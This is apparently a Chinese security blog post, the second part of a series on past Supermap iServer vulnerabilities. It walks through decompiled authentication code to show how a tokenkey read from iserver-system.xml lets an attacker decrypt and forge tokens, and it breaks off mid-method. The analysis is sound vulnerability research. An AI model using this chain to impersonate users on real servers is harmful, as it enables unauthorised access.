文章总结： 本文分析SupermapiServer权限绕过漏洞，通过读取配置文件获取tokenkey后解密token实现身份伪造。详细解析了SecurityHandler鉴权流程，包括JWT解码失败时调用TokenUtil.getTokenInfo方法进行AES解密的过程，并提供了关键代码片段说明漏洞利用链。
综合评分： 85
文章分类： 漏洞分析,WEB安全,代码审计,实战经验,安全工具

Supermap iServer历史漏洞浅析(下)

原创

路人甲
路人甲

红细胞安全实验室

2026年3月31日 10:19
广东

在小说阅读器读本章

去阅读

权限绕过

在上一篇文章中我们提及到有文件读取漏洞的基础上，我们可以读取iserver的配置文件WEB-INF/iserver-system.xml以及数据库文件WEB-INF/iserver-security.db来实现获取Token。在配置文件中存在很多关键配置信息，其中就包含了我们所需的tokenkey

iserver的主要鉴权逻辑发生在com.supermap.server.host.webapp.handlers.SecurityHandler#handle方法里面，这里的com.supermap.server.host.webapp.handlers.SecurityHandler#doAuthenticateAndAuthorizate是主要鉴权方法

其底层会调用com.supermap.services.security.MyShiroFilter#shiroFilterInternal通过shiro进行鉴权过滤，不过这里在通过规则过滤请求的时候会获取当前请求身份信息

&nbsp; &nbsp; &nbsp; protected&nbsp;WebSubject&nbsp;createSubject(ServletRequest servletRequest, ServletResponse servletResponse)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; HttpServletRequest&nbsp;var3&nbsp;=&nbsp;(HttpServletRequest)servletRequest;
&nbsp; &nbsp; &nbsp; &nbsp; HttpServletResponse&nbsp;var4&nbsp;=&nbsp;(HttpServletResponse)servletResponse;
&nbsp; &nbsp; &nbsp; &nbsp; WebSubject&nbsp;var5&nbsp;=&nbsp;this.c.create(var3, var4,&nbsp;this.getSecurityManager());
&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(var5 !=&nbsp;null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;var5;
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 从请求头或参数、cookie等地方获取凭据信息
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String&nbsp;var6&nbsp;=&nbsp;TokenRequestUtil.getToken(var3);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(!StringUtils.isNotEmpty(var6)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WebSubject&nbsp;var17&nbsp;=&nbsp;super.createSubject(var3, var4);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(!SecurityUtility.isLogin(var3) && !var17.isAuthenticated() && !var17.isRemembered() && !StringUtils.startsWith(AbstractHandler.getPathInfo(var3),&nbsp;"/shiro-cas")) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ShiroUtil.loginAsGuest(var3, var4, var17);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;(WebSubject)ThreadContext.getSubject();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;var17;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 先尝试JWT解码获取凭据信息（主要针对于启用KeyCloak的场景）
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; JsonWebSignature&nbsp;var7&nbsp;=&nbsp;JwtUtil.getJsonWebSignature(var6);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(var7 !=&nbsp;null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; KeycloakConfig&nbsp;var8&nbsp;=&nbsp;Manager.getInstance().getKeycloakConfig();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; JwkUtil&nbsp;var9&nbsp;=&nbsp;JwkUtil.getInstance();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Optional&nbsp;var10&nbsp;=&nbsp;Optional.empty();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(StringUtils.equals(var7.getHeader("kid"), var9.getJwkId())) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var10 = JwtUtil.decodeJwt(var6, var9.getPublicKey(), var7.getHeader("alg"),&nbsp;"https://www.supermap.com",&nbsp;0, var3);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;if&nbsp;(var8.isEnable()) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var10 = JwtUtil.decodeJwtFromKeycloak(var8, var7, var6);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(var10.isPresent()) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(StringUtils.endsWith(var3.getRequestURI(),&nbsp;"/web/config/userprofile.json") && !StringUtils.equals(var7.getHeader("kid"), var9.getJwkId())) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var6 =&nbsp;this.a(var6, var8);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var7 = JwtUtil.getJsonWebSignature(var6);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var10 = JwtUtil.decodeJwtFromKeycloak(var8, var7, var6);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; KeycloakOidcProfile&nbsp;var11&nbsp;=&nbsp;new&nbsp;KeycloakOidcProfile();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var10.ifPresent((var1) -> var1.getClaimsMap().forEach(var11::addAttribute));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CommonProfile&nbsp;var12&nbsp;=&nbsp;this.d.generate((WebContext)null, var11);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LinkedHashMap&nbsp;var13&nbsp;=&nbsp;new&nbsp;LinkedHashMap();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var13.put("KeycloakOidcProfile", var12);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Pac4jToken&nbsp;var14&nbsp;=&nbsp;new&nbsp;Pac4jToken(var13,&nbsp;true);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ShiroUtil.getSubject(var3, var4).login(var14);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; TokenRequestUtil.login(var3, var4, (JwtClaims)var10.get());
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 解密获取凭据信息
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; TokenInfo&nbsp;var18&nbsp;=&nbsp;TokenUtil.getInstance().getTokenInfo(var6);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; TokenRequestUtil.login(var3, var4, var18);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;(WebSubject)ThreadContext.getSubject();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

&nbsp; &nbsp; // &nbsp;获取凭据信息
&nbsp; &nbsp; public&nbsp;static&nbsp;String&nbsp;getToken(HttpServletRequest request)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; TOKEN_STR = Tool.getTokenName();
&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(request.getHeaderNames() !=&nbsp;null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Enumeration&nbsp;var1&nbsp;=&nbsp;request.getHeaderNames();

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while(var1.hasMoreElements()) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String&nbsp;var2&nbsp;=&nbsp;(String)var1.nextElement();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(org.apache.commons.lang3.StringUtils.equalsIgnoreCase("Authorization", var2)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String&nbsp;var3&nbsp;=&nbsp;request.getHeader(var2);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(org.apache.commons.lang3.StringUtils.isNotBlank(var3)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String&nbsp;var4&nbsp;=&nbsp;org.apache.commons.lang3.StringUtils.replaceIgnoreCase(var3,&nbsp;"Bearer",&nbsp;"").trim();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(org.apache.commons.lang3.StringUtils.isNotBlank(var4)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;var4;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; String&nbsp;var7&nbsp;=&nbsp;request.getQueryString();
&nbsp; &nbsp; &nbsp; &nbsp; String&nbsp;var8&nbsp;=&nbsp;getTokenFromQueryString(var7);
&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(var8 !=&nbsp;null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;var8;
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(request.getCookies() !=&nbsp;null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for(Cookie var6 : request.getCookies()) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(org.apache.commons.lang3.StringUtils.equalsIgnoreCase(var6.getName(), TOKEN_STR)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var8 = var6.getValue();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(org.apache.commons.lang3.StringUtils.isNotEmpty(var8)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;var8;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(request.getHeaderNames() !=&nbsp;null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Enumeration&nbsp;var10&nbsp;=&nbsp;request.getHeaderNames();

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while(var10.hasMoreElements()) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String&nbsp;var12&nbsp;=&nbsp;(String)var10.nextElement();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(TOKEN_STR.equals(var12)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var8 = request.getHeader(var12);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(org.apache.commons.lang3.StringUtils.isNotEmpty(var8)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;var8;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;var8;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

在这个方法里面如果是通过JWT的方式解码获取身份信息失败的话会尝试调用com.supermap.services.security.TokenUtil#getTokenInfo方法获取身份信息

通过解密token并解析获取身份信息

&nbsp; &nbsp; public&nbsp;TokenInfo&nbsp;getTokenInfo(String token)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; String&nbsp;var2&nbsp;=&nbsp;this.getTokenKey();
&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(var2 ==&nbsp;null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; d.info(c.getMessage(SecurityManageResource.TOKENUTIL_HAVENOT_SET_TOKENKEY,&nbsp;new&nbsp;Object[0]));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;null;
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; AESCipher&nbsp;var3&nbsp;=&nbsp;new&nbsp;AESCipher(var2);

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String&nbsp;var4&nbsp;=&nbsp;var3.decrypt(token);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;this.a(var4);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(SecurityException var5) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; d.debug(var5.getMessage(), var5);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;null;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(UnsupportedEncodingException var6) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; d.debug(var6.getMessage(), var6);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;null;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

&nbsp; &nbsp; public&nbsp;String&nbsp;getTokenKey()&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;this.b;
&nbsp; &nbsp; }

&nbsp; &nbsp; public&nbsp;void&nbsp;setTokenKey(String key)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(!StringUtils.isEmpty(key)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; d.debug(String.format("TokenUtil.change tokenKey from %s to %s",&nbsp;this.b, key));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; this.b = key;
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw&nbsp;new&nbsp;IllegalArgumentException(c.getMessage(SecurityManageResource.TOKENUTIL_TOKENKEY_NULL_OR_ZERO_LENGTH,&nbsp;new&nbsp;Object[0]));
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

&nbsp; &nbsp; public&nbsp;AESCipher(String key)&nbsp;throws&nbsp;SecurityException {
&nbsp; &nbsp; &nbsp; &nbsp; this(key,&nbsp;false);
&nbsp; &nbsp; }

&nbsp; &nbsp; public&nbsp;String&nbsp;decrypt(String str)&nbsp;throws&nbsp;SecurityException, UnsupportedEncodingException {
&nbsp; &nbsp; &nbsp; &nbsp; try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Cipher&nbsp;var2&nbsp;=&nbsp;this.c();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(str ==&nbsp;null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw&nbsp;new&nbsp;SecurityException("Decrypt string is null");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String&nbsp;var3&nbsp;=&nbsp;str.replace('_',&nbsp;'/').replace('-',&nbsp;'+').replace('.',&nbsp;'=');
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte[] var4 = Base64.decodeBase64(var3.getBytes());
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte[] var5 = var2.doFinal(var4);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;new&nbsp;String(var5,&nbsp;"UTF8");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(Exception var6) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw&nbsp;new&nbsp;SecurityException("Could not decrypt: "&nbsp;+ var6.getMessage(), var6);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

&nbsp; &nbsp; private&nbsp;TokenInfo&nbsp;a(String var1)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(!StringUtils.isEmpty(var1)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 以特定字符串'#;_&_&;#'切割
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String[] var2 = var1.split("#;_&_&;#");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(var2.length !=&nbsp;4) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; d.info(c.getMessage(SecurityManageResource.TOKENUTIL_RESERVETOKENINFO_TOKEN_INVALID_LENGTH,&nbsp;new&nbsp;Object[0]));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;null;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 构造Token信息
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; TokenInfo&nbsp;var3&nbsp;=&nbsp;new&nbsp;TokenInfo();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var3.userName = var2[0];

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var3.expirationTimeMillis = Long.valueOf(var2[1]);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(NumberFormatException var7) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; d.info(c.getMessage(SecurityManageResource.TOKENUTIL_RESERVETOKENINFO_TOKEN_INVALID_EXPIRATIONDATE,&nbsp;new&nbsp;Object[0]));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;null;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Object&nbsp;var4&nbsp;=&nbsp;null;

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var8 = (ClientIdentifyType)ClientIdentifyType.valueOf(ClientIdentifyType.class, var2[2]);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;catch&nbsp;(IllegalArgumentException var6) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; d.info(c.getMessage(SecurityManageResource.TOKENUTIL_RESERVETOKENINFO_TOKEN_INVALID_CLIENTTYPE,&nbsp;new&nbsp;Object[0]));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; d.debug(var6.getMessage(), var6);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;null;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var3.clientType = var8;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(ClientIdentifyType.Referer.equals(var8)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var3.refererURL = var2[3];
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;if&nbsp;(ClientIdentifyType.IP.equals(var8)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; var3.ip = var2[3];
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;var3;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; d.info(c.getMessage(SecurityManageResource.TOKENUTIL_RESERVETOKENINFO_TOKEN_NULL_OR_ZERO_LENGTH,&nbsp;new&nbsp;Object[0]));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;null;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

通过前面解密获取到Token信息后会调用com.supermap.services.security.TokenRequestUtil#login方法登录相关的用户并且设置上下文信息

&nbsp; &nbsp; public&nbsp;static&nbsp;void&nbsp;login(HttpServletRequest request, HttpServletResponse response, TokenInfo tokenInfo)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(tokenInfo ==&nbsp;null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw&nbsp;new&nbsp;HttpException(Status.CLIENT_ERROR_UNAUTHORIZED, a.getMessage(SecurityManageResource.EXTRAINFOFILTER_TOKEN_INVALID,&nbsp;new&nbsp;Object[0]));
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; UsernamePasswordToken&nbsp;var3&nbsp;=&nbsp;a(request, tokenInfo);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; a(request, response, var3);
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

&nbsp; &nbsp; static&nbsp;UsernamePasswordToken&nbsp;a(HttpServletRequest var0, TokenInfo var1)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(var1 ==&nbsp;null) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw&nbsp;new&nbsp;HttpException(Status.CLIENT_ERROR_UNAUTHORIZED, a.getMessage(SecurityManageResource.EXTRAINFOFILTER_TOKEN_INVALID,&nbsp;new&nbsp;Object[0]));
&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String&nbsp;var2&nbsp;=&nbsp;var1.userName;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(org.apache.commons.lang3.StringUtils.isNotEmpty(var1.ip)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String&nbsp;var3&nbsp;=&nbsp;var0.getRemoteHost();
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(!var1.ip.equals(var3)) {
